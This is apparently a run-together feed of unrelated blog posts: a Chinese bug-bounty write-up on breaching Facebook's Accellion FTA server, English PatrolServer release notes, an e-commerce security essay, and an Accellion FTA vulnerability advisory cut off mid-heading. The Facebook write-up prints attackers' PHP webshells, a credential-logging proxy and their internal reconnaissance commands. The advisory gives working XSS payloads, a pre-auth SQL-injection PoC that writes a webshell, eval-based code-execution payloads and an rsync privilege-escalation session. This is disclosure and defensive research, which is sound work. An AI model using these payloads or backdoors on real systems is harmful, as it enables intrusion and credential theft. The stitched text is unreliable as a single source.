  1. 對多數大公司而言,”網路邊界” 是比較難顧及、容易出現問題的一塊,當公司規模越大,同時擁有數千、數萬台機器在線,網管很難顧及到每台機器。在攻防裡,防守要防的是一個面,但攻擊只需找個一個點就可以突破,所以防守方相對處於弱勢,攻擊者只要找到一台位於網路邊界的機器入侵進去就可以開始在內網進行滲透了!
  2. 對於 “連網設備” 的安全意識相對薄弱,由於連網設備通常不會提供 SHELL 給管理員做進一步的操作,只能由設備本身所提供的介面設定,所以通常對於設備的防禦都是從網路層來抵擋,但如遇到設備本身的 0-Day 或者是 1-Day 可能連被入侵了都不自覺。
  3. 人的安全,隨著 “社工庫” 的崛起,有時可以讓一次滲透的流程變得異常簡單,從公開資料找出公司員工列表,再從社工庫找到可以登入 VPN 的員工密碼就可以開始進行內網滲透,尤其當社工庫數量越來越多 “量變成質變” 時只要關鍵人物的密碼在社工庫中可找到,那企業的安全性就全然突破 :P

理所當然在尋找 Facebook 弱點時會以平常進行滲透的思路進行,在開始搜集資料時除了針對 Facebook 本身域名查詢外也對註冊信箱進行 Reverse Whois 意外發現了個奇妙的域名名稱

tfbnw.net

TFBNW 似乎是 “TheFacebook Network” 的縮寫
再藉由公開資料發現存在下面這台這台伺服器

vpn.tfbnw.net

哇! vpn.tfbnw.net 看起來是個 Juniper SSL VPN 的登入介面,不過版本滿新的沒有直接可利用的弱點,不過這也成為了進入後面故事的開端。

TFBNW 看似是 Facebook 內部用的域名,來掃掃 vpn.tfbnw.net 同網段看會有什麼發現

  • Mail Server Outlook Web App
  • F5 BIGIP SSL VPN
  • CISCO ASA SSL VPN
  • Oracle E-Business
  • MobileIron MDM

從這幾台機器大致可以判斷這個網段對於 Facebook 來說應該是相對重要的網段,之後一切的故事就從這裡開始。


弱點發現

在同網段中,發現一台特別的伺服器

files.fb.com

files.fb.com ↑ files.fb.com 登入介面


從 LOGO 以及 Footer 判斷應該是 Accellion 的 Secure File Transfer (以下簡稱 FTA)

FTA 為一款標榜安全檔案傳輸的產品,可讓使用者線上分享、同步檔案,並整合 AD, LDAP, Kerberos 等 Single Sign-on 機制,Enterprise 版本更支援 SSL VPN 服務。

首先看到 FTA 的第一件事是去網路上搜尋是否有公開的 Exploit 可以利用,Exploit 最近的是由 HD Moore 發現並發佈在 Rapid7 的這篇 Advisory

弱點中可直接從 “/tws/getStatus” 中洩漏的版本資訊判斷是否可利用,在發現 files.fb.com 時版本已從有漏洞的 0.18 升級至 0.20 了,不過就從 Advisory 中所透露的片段程式碼感覺 FTA 的撰寫風格如果再繼續挖掘可能還是會有問題存在的,所以這時的策略便開始往尋找 FTA 產品的 0-Day 前進!

不過從實際黑箱的方式其實找不出什麼問題點只好想辦法將方向轉為白箱測試,透過各種方式拿到舊版的 FTA 原始碼後終於可以開始研究了!

整個 FTA 產品大致架構

  1. 網頁端介面主要由 Perl 以及 PHP 構成
  2. PHP 原始碼皆經過 IonCube 加密
  3. 在背景跑了許多 Perl 的 Daemon

首先是解密 IonCude 的部分,許多設備為了防止自己的產品被檢視所以會將原始碼加密,不過好在 FTA 上的 IonCude 版本沒到最新,可以使用現成的工具解密,不過由於 PHP 版本的問題,細節部份以及數值運算等可能要靠自己修復一下,不然有點難看…

經過簡單的原始碼審查後發現,好找的弱點應該都被 Rapid7 找走了 T^T
而需要認證才能觸發的漏洞又不怎麼好用,只好認真點往深層一點的地方挖掘!

經過幾天的認真挖掘,最後總共發現了七個弱點,其中包含了

  • Cross-Site Scripting x 3
  • Pre-Auth SQL Injection leads to Remote Code Execution
  • Known-Secret-Key leads to Remote Code Execution
  • Local Privilege Escalation x 2

除了回報 Facebook 安全團隊外,其餘的弱點也製作成 Advisory 提交 Accellion 技術窗口,經過廠商修補提交 CERT/CC 後取得四個 CVE 編號

  • CVE-2016-2350
  • CVE-2016-2351
  • CVE-2016-2352
  • CVE-2016-2353

詳細的弱點細節會待 Full Disclosure Policy 後公布!

shell on facebook ↑ 使用 Pre-Auth SQL Injection 寫入 Webshell


在實際滲透中進去伺服器後的第一件事情就是檢視當前的環境是否對自己友善,為了要讓自己可以在伺服器上待的久就要盡可能的了解伺服器上有何限制、紀錄,避開可能會被發現的風險 :P

Facebook 大致有以下限制:

  1. 防火牆無法連外, TCP, UDP, 53, 80, 443 皆無法
  2. 存在遠端的 Syslog 伺服器
  3. 開啟 Auditd 記錄

無法外連看起來有點麻煩,但是 ICMP Tunnel 看似是可行的,但這只是一個 Bug Bounty Program 其實不需要太麻煩就純粹以 Webshell 操作即可。


似乎有點奇怪?

正當收集證據準備回報 Facebook 安全團隊時,從網頁日誌中似乎看到一些奇怪的痕跡。

首先是在 “/var/opt/apache/php_error_log” 中看到一些奇怪的 PHP 錯誤訊息,從錯誤訊息來看似乎像是邊改 Code 邊執行所產生的錯誤?

PHP error log ↑ PHP error log


跟隨錯誤訊息的路徑去看發現疑似前人留下的 Webshell 後門

Webshell on facebook server ↑ Webshell on facebook server


其中幾個檔案的內容如下

sshpass

沒錯,就是那個 sshpass
bN3d10Aw.php
<?php echo shell_exec($_GET['c']); ?>
uploader.php
<?php move_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"])); ?>
d.php
<?php include_oncce("/home/seos/courier/remote.inc"); echo decrypt($_GET["c"]); ?>
sclient\_user\_class\_standard.inc
<?php
include_once('sclient_user_class_standard.inc.orig');
$fp = fopen("/home/seos/courier/B3dKe9sQaa0L.log", "a"); 
$retries = 0;
$max_retries = 100; 

// 省略...

fwrite($fp, date("Y-m-d H:i:s T") . ";" . $_SERVER["REMOTE_ADDR"] . ";" . $_SERVER["HTTP_USER_AGENT"] . ";POST=" . http_build_query($_POST) . ";GET=" . http_build_query($_GET) . ";COOKIE=" . http_build_query($_COOKIE) . "\n"); 

// 省略...

前幾個就是很標準的 PHP 一句話木馬
其中比較特別的是 “sclient_user_class_standard.inc” 這個檔案

include_once 中 “sclient_user_class_standard.inc.orig” 為原本對密碼進行驗證的 PHP 程式,駭客做了一個 Proxy 在中間並在進行一些重要操作時先把 GET, POST, COOKIE 的值記錄起來

整理一下,駭客做了一個 Proxy 在密碼驗證的地方,並且記錄 Facebook 員工的帳號密碼,並且將記錄到的密碼放置在 Web 目錄下,駭客每隔一段時間使用 wget 抓取

wget https://files.fb.com/courier/B3dKe9sQaa0L.log

logged password
↑ Logged passwords


從紀錄裡面可以看到除了使用者帳號密碼外,還有從 FTA 要求檔案時的信件內容,記錄到的帳號密碼會定時 Rotate (後文會提及,這點還滿機車的XD)

發現當下,最近一次的 Rotate 從 2/1 記錄到 2/7 共約 300 筆帳號密碼紀錄,大多都是 “@fb.com” 或是 “@facebook.com” 的員工帳密,看到當下覺得事情有點嚴重了,在 FTA 中,使用者的登入主要有兩種模式

  1. 一般用戶註冊,密碼 Hash 存在資料庫,由 SHA256 + SALT 儲存
  2. Facebook 員工 (@fb.com) 則走統一認證,使用 LDAP 由 AD 認證

在這裡相信記錄到的是真實的員工帳號密碼,**猜測** 這份帳號密碼應該可以通行 Facebook Mail OWA, VPN 等服務做更進一步的滲透…

此外,這名 “駭客” 可能習慣不太好 :P

  1. 後門參數皆使用 GET 來傳遞,在網頁日誌可以很明顯的發現他的足跡
  2. 駭客在進行一些指令操作時沒顧慮到 STDERR ,導致網頁日誌中很多指令的錯誤訊息,從中可以觀察駭客做了哪些操作


從 access.log 可以觀察到的每隔數日駭客會將記錄到的帳號密碼清空

192.168.54.13 - - 17955 [Sat, 23 Jan 2016 19:04:10 +0000 | 1453575850] "GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo > /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1" 200 2559 ...


打包檔案

cat tmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done 2>/dev/stdout
tar -czvf files.tar.gz files


對內部網路結構進行探測

dig a archibus.thefacebook.com
telnet archibus.facebook.com 80
curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php
dig a records.fb.com
telnet records.fb.com 80
telnet records.fb.com 443
wget -O- -q http://192.168.41.16
dig a acme.facebook.com
./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 201 1 255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout
...


使用 Shell Script 進行內網掃描但忘記把 STDERR 導掉XD

Port Scanning

嘗試對內部 LDAP 進行連接

sh: -c: line 0: syntax error near unexpected token `('
sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2>/dev/stdout'


嘗試訪問內部網路資源
( 看起來 Mail OWA 可以直接訪問 …)

--20:38:09--  https://mail.thefacebook.com/
Resolving mail.thefacebook.com... 192.168.52.37
Connecting to mail.thefacebook.com|192.168.52.37|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://mail.thefacebook.com/owa/ [following]
--20:38:10--  https://mail.thefacebook.com/owa/
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 [following]
--20:38:10--  https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 200 OK
Length: 8902 (8.7K) [text/html]
Saving to: `STDOUT'

     0K ........                                              100% 1.17G=0s

20:38:10 (1.17 GB/s) - `-' saved [8902/8902]

--20:38:33--  (try:15)  https://10.8.151.47/
Connecting to 10.8.151.47:443... --20:38:51--  https://svn.thefacebook.com/
Resolving svn.thefacebook.com... failed: Name or service not known.
--20:39:03--  https://sb-dev.thefacebook.com/
Resolving sb-dev.thefacebook.com... failed: Name or service not known.
failed: Connection timed out.
Retrying.


嘗試對 SSL Private Key 下手

sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
ls: /etc/opt/apache/ssl.key/server.key: No such file or directory
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
base64: invalid input


從瀏覽器觀察 files.fb.com 的憑證還是 Wildcard 的 *.fb.com …

certificate of files.fb.com



後記

在收集完足夠證據後便立即回報給 Facebook 安全團隊,回報內容除了漏洞細節外,還附上相對應的 Log 、截圖以及時間紀錄xD

從伺服器中的日誌可以發現有兩個時間點是明顯駭客在操作系統的時間,一個是七月初、另個是九月中旬

七月初的動作從紀錄中來看起來比較偏向 “逛” 伺服器,但九月中旬的操作就比較惡意了,除了逛街外,還放置了密碼 Logger 等,至於兩個時間點的 “駭客” 是不是同一個人就不得而知了 :P
而七月發生的時機點正好接近 CVE-2015-2857 Exploit 公佈前,究竟是透過 1-Day 還是無 0-Day 入侵系統也無從得知了。


這件事情就記錄到這裡,總體來說這是一個非常有趣的經歷xD
也讓我有這個機會可以來寫寫關於滲透的一些文章 :P

最後也感謝 Bug Bounty 及胸襟寬闊的 Facebook 安全團隊 讓我可以完整記錄這起事件 : )


Timeline

  • 2016/02/05 20:05 提供漏洞詳情給 Facebook 安全團隊
  • 2016/02/05 20:08 收到機器人自動回覆
  • 2016/02/06 05:21 提供弱點 Advisory 給 Accellion 技術窗口
  • 2016/02/06 07:42 收到 Thomas 的回覆,告知調查中
  • 2016/02/13 07:43 收到 Reginaldo 的回覆,告知 Bug Bounty 獎金 $10000 USD
  • 2016/02/13 詢問是否撰寫 Blog 是否有任何要注意的地方?
  • 2016/02/13 詢問此漏洞被認為是 RCE 還是 SQL Injection
  • 2016/02/18 收到 Reginaldo 的回覆,告知正在進行調查中,希望 Blog 先暫時不要發出
  • 2016/02/24 收到 Hai 的回覆,告知獎金將會於三月發送
  • 2016/04/20 收到 Reginaldo 的回覆,告知調查已完成

PatrolServer 1.1.0

What better way to start the summer than with a brand new release of PatrolServer, we’ve very proud to announce version 1.1.0 is now available to all of you.

No matter how you use PatrolServer, whether it’s the API, or our dashboard and scanner, you’re going to love this new version. We integrated the most requested features, polished both the front and back-end and made the entire experience a whole lot faster. We put a strong focus on developers past months, keep on reading for more exciting news. You’ll love this as much as we do, for sure!

Filtering

Technically speaking, filtering cards is not a new feature, it has been enabled for most accounts for the past few months. Today, the feature is officially out of beta phase. We’ve been tweaking the ability to filter cards under the hood, as well as restoring cards is now possible by clicking the “restore” button. Below is a small demonstration on how you can filter out unwanted cards.

Verification with Bash Scanner

In the previous version, verifying your server was only possible by us sending an email to the administrator account of the domain or by uploading a HTML file to your server. We decided to put Bash Scanner a little more in the spotlight (seriously, you’ll benefit the best of the features when installing Bash Scanner), thus the new default verification method is now by using the scanner.

If you prefer to use alternative methods such as uploading the HTML file or by using email, they are still there under the “Alternate methods” tab.

Reminders

Server reminders has been the most requested feature of the past few months. Basically what it does is, at each chosen interval (either weekly or monthly), we’ll send you a reminder of all the issues on your servers over various mails. The new “Mail settings” page gives you more control over what emails you’ll get and which ones you’d like to exclude.

Analytics

You can now see detailed analytics data for your scanned servers. It might take some time until PatrolServer gathered enough information over a various amount of time, but analytics gives you a status over time of your current servers.

We also got graphs available to display the amount of exploits and vulnerabilities over time, but we leave those up to you to discover. If you’d like to visit the brand new analytics page, click on your server name on the left top, and select “Graphs”, it’s next under the filter view.

Looking at our own internal analytics has been a lot of fun, we hope you like them as much as we do!

For Developers

Brand new API documentation

PatrolServer is a service for developers to keep track of outdated software on their servers. We run a daily scan on your servers, to make sure you run updated software. We would like to make it easy for you developers to integrate with our services and delivery across many platforms. Our powerful APIs are here to provide you a smooth integration with your own project. Our developer tools allow you to access your own data within the PatrolServer architecture. Our ultimate goal is to cover most virtual facets of PatrolServer, for you to integrate whenever you want.

Developers can now enjoy the brand new API documentation pages. They are much more structured and provide examples for all interactions with the PatrolServer API.

Visit the API documentation now!

PHP SDK

The PHP SDK provides a stable interface to implement PatrolServer functionality in your own applications. The SDK makes integration child’s play. Take a look at the example below on how easy it is to intercept when your server finished scanning. You can do all kind of interactions after.

// Use the Singleton or create a separate PatrolSdk\Patrol object
use PatrolSdk\Singleton as Patrol;

Patrol::setApiKey('194786f61ea856b6468c0c41fa0d4bdb');
Patrol::setApiSecret('DC360a34e730ae96d74f545a286bfb01468cd01bb191eed49d9e421c2e56f958');

Patrol::webhook('scan_finished', function ($event) {
    $server_id = $event['server_id'];

    if ($server_id) {
        // Get the Server object from the server_id
        $server = Patrol::server($server_id);

        // Get the installed software
        $software = $server->allSoftware();
    }
});

Take a look at the PatrolServer PHP SDK on GitHub, we’ve also written a Laravel Facade with various other features such as automatically updating composer modules the moment they become outdated.

Under the hood

We detect a whole lot more software than ever before, thus we had to tweak performance in order to provide the same smooth experience as before. The team and I have rewritten card generation from scratch, with better performance in mind. We now extensively rely on caching mechanisms, as well as pre-generating data when users are the least active on our platform (eg; at midnight, we perform more resource heavy tasks than during the day).

On average, resource heavy actions are at-least 60% faster than before.

Nowadays, we support a vast majority of the most popular npm modules. We’ve added 80.000 more npm modules to the scanner and we’re counting. The PatrolServer scanner is able to find over 160.000 different installed software (+ modules, packages, …) on your server.

Feel free to give our new changes a try, and as always, thank you for using PatrolServer!

Changelog:

  • Send me mails about my server status (setting)
  • Send me mails about PatrolServer news (setting)
  • Remind me about my server statusses (setting)
  • Quick link from account settings to API settings
  • Remove account (setting)
  • Webhooks event log viewer
  • Bash Scanner is first verification option
  • Support phpMyAdmin
  • Support Joomla!
  • npm now has +30.000 modules
  • Support Magento
  • Card creation from scan results is rewritten from scratch
  • Card creation is up to 50% faster
  • Caching cards
  • Software comparer rewritten from scratch
  • Modal in/out animations
  • Logs in/out animations
  • Filtering cards
  • Add a location filter manually
  • Clear filters from hidden cards itself
  • Loading the app is remarkably faster
  • Tons of app bugfixes
  • Tons of app minor layout fixes & improvements
  • Mini scanners have a new layout
  • API documentation has a new style
  • Bucket API documentation

電商業者的資安困境?

28 July 2016 at 16:00

台灣電商網站蓬勃發展,豐富的個資、金流都吸引了攻擊者。近期刑事局 165 反詐騙網站上常看到很多電商網站面臨個資外洩的問題,新聞也不斷報導民眾因為個資外洩被詐騙集團騙取錢財。資安問題是電商業者面臨到最大的危機,民眾也很憤怒為什麼這些企業都不肯把資安做好。但我相信,電商網站的業主也是有苦難言。不少企業知道該把資安做好,有些可能不得其法,也可能什麼都做了,卻還是無法防止自己的網站出現在 165 詐騙排行的榜單上。

對於無心於資安的業者來說,被揭露這樣的資訊會有一定程度的力量迫使他們把資安做好。但對於已經顧全資安的業者來說,則是摸不著頭緒到底個資從哪邊外洩的。今天我們就來談談,到底電商網站的資安問題是什麼,民眾的個資又是怎麼外洩的。

電商網站的困境

目前電商網站常見的困境有幾點:

  1. 自行開發網站存在漏洞
  2. 委外開發網站存在漏洞,但承包商不處理
  3. 內部員工電腦遭入侵外洩個資
  4. 配合廠商個資外洩,如金流商、物流商
  5. 攻擊者用已外洩帳號密碼登入電商網站
  6. 買家在詐騙集團的賣場交易

黑色產業的發展比大家想像中都還要盛行,若企業對攻擊者來說有利可圖,駭客組織會不擇手段入侵取得資料。因此對網站本身、網站周遭系統、企業內部員工、或者以社交工程手法,只要能取得資料都會是他們下手的目標。

自行開發網站存在漏洞

這是目前企業最需要先解決的問題。若網站本身資安體質不好,則會輕易被攻擊者入侵。資安問題往往都是企業內部最難解的問題,道高一尺魔高一丈,若沒有經過完整的滲透測試,則難以找出問題的根源。找到了問題之後,開發人員的教育訓練、資安機制、資安設備,都會是企業接下來要面對的課題。

解決方案:滲透測試、資安顧問、教育訓練

委外開發網站存在漏洞,但承包商不處理

不少企業沒有自己開發網站,而是發包給外部廠商開發、維運。承包商的品質通常難以掌控,價格戰的業界生態,更讓開發的品質難以提升。但業者最頭大的是:承包商拒絕處理漏洞。若沒有在一開始的委外合約就明訂資安維護標準,在日後發生資安事件時則難以要求承包商修補漏洞。因此建議業者在日後的委外開發案,明訂資安標準、驗收時檢附第三方滲透測試報告,並且將日後資安維護合約獨立於一般維護約之外,強制執行。

解決方案:選商標準、開標規格、驗收標準、資安維護合約

內部員工電腦遭入侵外洩個資

除了伺服器之外,客戶端也是攻擊者下手的目標。當網站難以被入侵,攻擊者就會轉往員工電腦下手。透過社交工程、搭配惡意郵件等 APT 攻擊,入侵個人電腦後取得消費者個資,甚至做為跳板滲透企業內部擴大攻擊成果。若沒有足夠的資安意識,員工將會是企業最大的資安缺口。

解決方案:強化資安思維、權限最小化、APT 防禦

配合廠商個資外洩,如金流商、物流商

當企業裡裡外外都防禦好了,個資還在外洩,到底發生什麼事情了呢?別忘了一個電商網站有各種與外界橋接的服務,例如交易的金流、運輸的物流。若搭配的外部系統遭到入侵,個資一樣會被取得。但民眾、媒體只會覺得「我在這家電商平台買東西被詐騙」,而怪罪到企業本身。企業有責任要求配合的廠商一同將資安、個資把關好。

解決方案:配合廠商的資安規範、滲透測試

攻擊者用已外洩帳號密碼登入電商網站

資安的責任並不僅在企業,有的時候消費者本身帳號的安全也會影響到電商網站的清譽。目前民眾只要接收到詐騙電話,直覺都會是在某個店家的交易被駭,被取得資料後販售給詐騙集團,因而回報給 165 等反詐騙專線。這種案例也會算在電商網站的帳上,但卻不一定是電商網站的問題。這樣的攻擊手法也俗稱「撞庫」。

解決方案:企業間的聯防、提供使用者帳號保護

買家在詐騙集團的賣場交易

只要有利可圖,詐騙集團就會無所不用其極的想獲取利益。當系統已經達成基本的安全、使用者外洩的帳號也已經無法利用之後,詐騙集團將再攻擊人性的漏洞,開設販賣熱門商品的賣場,吸引無辜的受害者購買。或者在賣場的留言區塊假冒賣家,留下自己的 LINE 與消費者溝通,進行詐騙。

解決方案:消費者安全宣導

電商業者該如何自保?

只要有利益的地方,就會有資安危機。雖說道高一尺魔高一丈,但業者並非只能等著被宰。經營網站最重要的就是保護顧客的資料,明白風險的所在。盤點手上的個資位置、機制、措施,謹慎安排資安規劃,確保將安全的風險降到最低。更進一步也可以建立與資安人員良好的關係,公開漏洞通報管道及獎勵機制,鼓勵資安人員優先通報漏洞給企業,避免流入黑色產業。當然,身為消費者的我們,也應該給予負責的企業掌聲。

在未來我們的文章將提到企業應該採取的具體作為,敬請期待!

Accellion File Transfer Appliance 弱點報告

21 September 2016 at 16:00

By Orange Tsai

English Version
中文版本


Accellion FTA 介紹


Accellion File Transfer Appliance (以下簡稱 FTA) 為一款安全檔案傳輸服務,可讓使用者線上分享、同步檔案,且所有檔案皆經 AES 128/256 加密,Enterprise 版本更支援 SSL VPN 服務並整合 AD, LDAP, Kerberos 等 Single Sign-on 機制。

漏洞描述


在研究過程中,於 FTA 版本 FTA_9_12_0 (13-Oct-2015 Release) 上,發現了下列弱點:

  • Cross-Site Scripting x 3
  • Pre-Auth SQL Injection leads to Remote Code Execution
  • Known-Secret-Key leads to Remote Code Execution
  • Local Privilege Escalation x 2

以上弱點可使不需經過認證的攻擊者,成功遠端攻擊 FTA 伺服器並取得最高權限,當攻擊者完全控制伺服器後,可取得伺服器上的加密檔案與用戶資料等。

弱點經回報 CERT/CC 後取得共四個獨立 CVE 編號 (CVE-2016-2350, CVE-2016-2351, CVE-2016-2352, CVE-2016-2353)。

影響範圍


根據公開資料掃描,全球共發現 1217 台 FTA 存活主機,主要分布地點為美國,其次加拿大、澳洲、英國與新加坡。根據存活主機的域名、SSL Certificate 發現 FTA 使用客戶遍及政府、教育、企業等領域,其中不乏一些知名品牌。

漏洞分析與利用


Multiple Cross-Site Scripting (CVE-2016-2350)

1. XSS in move_partition_frame.html

https://<fta>/courier/move_partition_frame.html
?f2=’-prompt(document.domain);//

2. XSS in getimageajax.php

https://<fta>/courier/web/getimageajax.php
?documentname=”onerror=”prompt(document.domain)//

3. XSS in wmInfo.html

https://<fta>/courier/web/wmInfo.html
?msg=ssologout
&loginurl=”><svg/onload=”prompt(document.domain)


Pre-Auth SQL Injection leads to RCE (CVE-2016-2351)

經過代碼審查後,在 FTA 中發現一個不須驗證的 SQL Injection,這使得惡意使用者可透過 SQL Injection 存取伺服器的敏感檔案及個人資料,並配合權限設定問題導致遠端代碼執行。問題出在 security_key2.api 中所呼叫到的 client_properties( ... ) 函數中!

/home/seos/courier/security_key2.api
// ...
$password = _decrypt( $password, _generate_key( $g_app_id, $client_id, $g_username ) );
opendb();
$client_info = client_properties( $client_id )[0];
// ...

其中 $g_app_id $g_username $client_id $password 皆為攻擊者可控參數,雖然有個 _decrypt( ... ) 函數對密碼進行處理,但是與弱點觸發並無相關。其中要注意是 $g_app_id 的值會被代入成全域變數,代表當前使用的 Application ID,並且在 opendb( ) 使用,其中在 opendb( ) 內有以下代碼:

$db = DB_MASTER . $g_app_id;
if(!@mysql_select_db( $db ))

mysql_select_db 中所開啟資料庫的名稱由使用者可控,如給錯誤的值將導致程式無法繼續執行下去,所以必須將 $g_app_id 偽造成正確的內容。

接著是最主要的函數 client_properties( $client_id )

function client_properties($client_id = '', $user = '', $manager = '', $client_type = 0, $client_name = '', $order_by = 'client_id', $order_type = 'a', $limit = '', $offset = '', $exclude_del = 1, $user_type = '', $user_status = '') {
    $sql = ($user_type  = '' ? 'SELECT t_mail_server.* FROM t_mail_server ' : 'SELECT t_mail_server.*, t_profile.c_flag as profile_flag FROM t_mail_server, t_profile ');
    $filter['client_id'] = $client_id;
    $filter['client_name'] = $client_name;
    $filter['client_type'] = $client_type;
    $filter['user'] = mysql_escape_like( $user );
    $filter['user_type'] = $user_type;
    $filter['manager'] = $manager;
    $filter['user_status'] = $user_status;
    $sql &= construct_where_clause( $filter, $exclude_del );

    // ...

    $result = array(  );
    @mysql_query( $sql );
    ( $db_result =  || fatal_error( 'exec:mysql_query(' . $sql . ') respond:' . mysql_error(  ), __FILE__, 221 ) );
function construct_where_clause($filter, $exclude_del = 1) {
    $where_clause = array(  );
    $where_clause[] = 'c_server_id  != \'999\'';

    if ($exclude_del) {
        $where_clause[] = '!(t_mail_server.c_flag & ' . CLIENT_DELETED . ')';
    }
    if ($filter['client_id'] != '') {
        $where_clause[] = 'c_server_id = \'' . $filter['client_id'] . '\'';
    }
    if ($filter['manager'] != '') {
        $filter['manager'] = mysql_real_escape_string( $filter['manager'] );
        $where_clause[] = 'c_manager = \'' . $filter['manager'] . '\'';
    }
    if ($filter['client_name'] != '') {
        $filter['client_name'] = mysql_real_escape_string( $filter['client_name'] );
        $where_clause[] = 't_mail_server.c_name LIKE \'%' . $filter['client_name'] . '%\'';
    }
    if (( $filter['user'] != '' && $filter['user'] != '%%' )) {
        $filter['user'] = mysql_real_escape_string( $filter['user'] );
        $where_clause[] = 't_mail_server.c_user_id LIKE \'' . $filter['user'] . '\'';
    }

client_properties( ... ) 中會將所傳進的參數進行 SQL 語句的拼裝,而 construct_where_clause( ... ) 為最關鍵的一個函數。 在 construct_where_clause( ... ) 中可以看到參數皆使用 mysql_real_escape_string 來防禦但唯獨缺少 $client_id,從原始碼的 Coding Style 觀察猜測應該是開發時的疏忽,因此根據程式流程送出對應的參數即可觸發 SQL Injection。

此外,在 FTA 中資料庫使用者為 root 具有 FILE_PRIV 權限,因此可使用 INTO OUTFILE 撰寫自己 PHP 代碼至可寫目錄達成遠端代碼執行!

PoC

$ curl https://<fta>/courier/1000@/security_key2.api -d "aid=1000&user_id=1&password=1&client_id=' OR 1=1 LIMIT 1 INTO OUTFILE '/home/seos/courier/themes/templates/.cc.php' LINES TERMINATED BY 0x3c3f...#"

生成的 PHP 檔案位置在

http://<fta>/courier/themes/templates/.cc.php


Known Secret-Key leads to Remote Code Execution

在前個弱點中,要達成遠端代碼執行還有一個條件是要存在可寫目錄,但現實中有機率找不到可寫的目錄放置 Webshell,因此無法從 SQL Injection 達成代碼執行,不過這時有另外一條路可以幫助我們達成遠端代碼執行。

這個弱點的前提條件是 已知資料庫中所存的加密 KEY

這點對我們來說不是問題,從前面的 SQL Injection 弱點可任意讀取資料庫內容,另外雖然在程式碼中有對參數進行一些過濾,但那些過濾是可以繞過的!

/home/seos/courier/sfUtils.api
$func_call = decrypt( $_POST['fc'] );
$orig_func = '';
if (preg_match( '/(.+)\(.*\)/', $func_call, $func_match )) {
    $orig_func = $func_call;
    $func_call = $func_match[1];
}
$cs_method = array( 'delete_session_cache', 'delete_user_contact', 'valid_password', 'user_password_update_disallowed', 'user_password_format_disallowed', 'get_user_contact_list', 'user_email_verified', 'user_exist_allow_direct_download', 'user_profile_auth' );
if (( !$func_call || !in_array( $func_call, $cs_method ) )) {
    return false;
}
if ($orig_func) {
    $func_call = $orig_func;
}
if ($func_call  == 'get_user_contact_list') {
    if (!$_csinfo['user_id']) {
        return false;
    }
    if (preg_match( '/[\\\/"\*\:\?\<\>\|&]/', $_POST['name'] )) {
        return false;
    }
    $func_call = 'echo(count(' . $func_call . '("' . $_csinfo['user_id'] . '", array("nickname"=>"' . addslashes( $_POST['name'] ) . '"))));';
} else {
    if (isset( $_POST['p1'] )) {
        $func_param = array(  );
        $p_no = 7;

        while (isset( $_POST['p' . $p_no] )) {
            $func_param[] = str_replace( '\'', '\\\'', str_replace( '$', '\\$', addslashes( $_POST['p' . $p_no] ) ) );
            ++$p_no;
        }
        $func_call = 'echo(' . $func_call . '("' . join( '", "', $func_param ) . '"));';
    }
}
echo @eval( $func_call );

如果已知加密 KEY 的話,即可控制 decrypt( $_POST[fc] ) 的輸出,而後面的正規表示式雖然針對函數名稱進行白名單過濾,但是沒對參數進行過濾,如此一來我們可以在參數的部分插入任意代碼,唯一的條件就是不能有 ( ) 出現,但由於 PHP 的鬆散特性,玩法其實很多,這裡列舉兩個:


直接透過反引號執行系統指令:

user_profile_auth(`$_POST[cmd]`);


更優雅的方式可以透過 include 語法引入上傳檔案的 tmp_name,這樣各種保護都不用擔心:

user_profile_auth(include $_FILES[file][tmp_name]);


Local Privilege Escalation (CVE-2016-2352 and CVE-2016-2353)

在取得 PHP 網頁權限後,發現所屬權限為 nobody,為了進行更深入的研究,在對環境進行審視後,發現兩個可用來提升權限之弱點。

1. Rsync 配置錯誤
/etc/opt/rsyncd.conf
log file = /home/soggycat/log/kennel.log
...
[soggycat]
path = /home/soggycat
uid = soggycat
read only = false
list = false
...

其中模組名稱 soggycat 對 /home/soggycat/ 為任何人可讀可寫,所以可將 SSH Key 寫至 /home/soggycat/.ssh/ 後以 soggycat 身分登入

bash-3.2$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)

bash-3.2$ rsync 0::soggycat/.ssh/
drwx------        4096 2016/01/29 18:13:41 .
-rw-r--r--         606 2016/01/29 18:13:41 authorized_keys

bash-3.2$ rsync 0::soggycat/.ssh/authorized_keys .
bash-3.2$ cat id_dsa.pub >> authorized_keys
bash-3.2$ rsync authorized_keys 0::soggycat/.ssh/

bash-3.2$ ssh -i id_dsa -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no soggycat@localhost id
Could not create directory '/.ssh'.
Warning: Permanently added '0,0.0.0.0' (RSA) to the list of known hosts.
uid=520(soggycat) gid=99(nobody) groups=99(nobody)


2. Command Injection in “yum-client.pl”

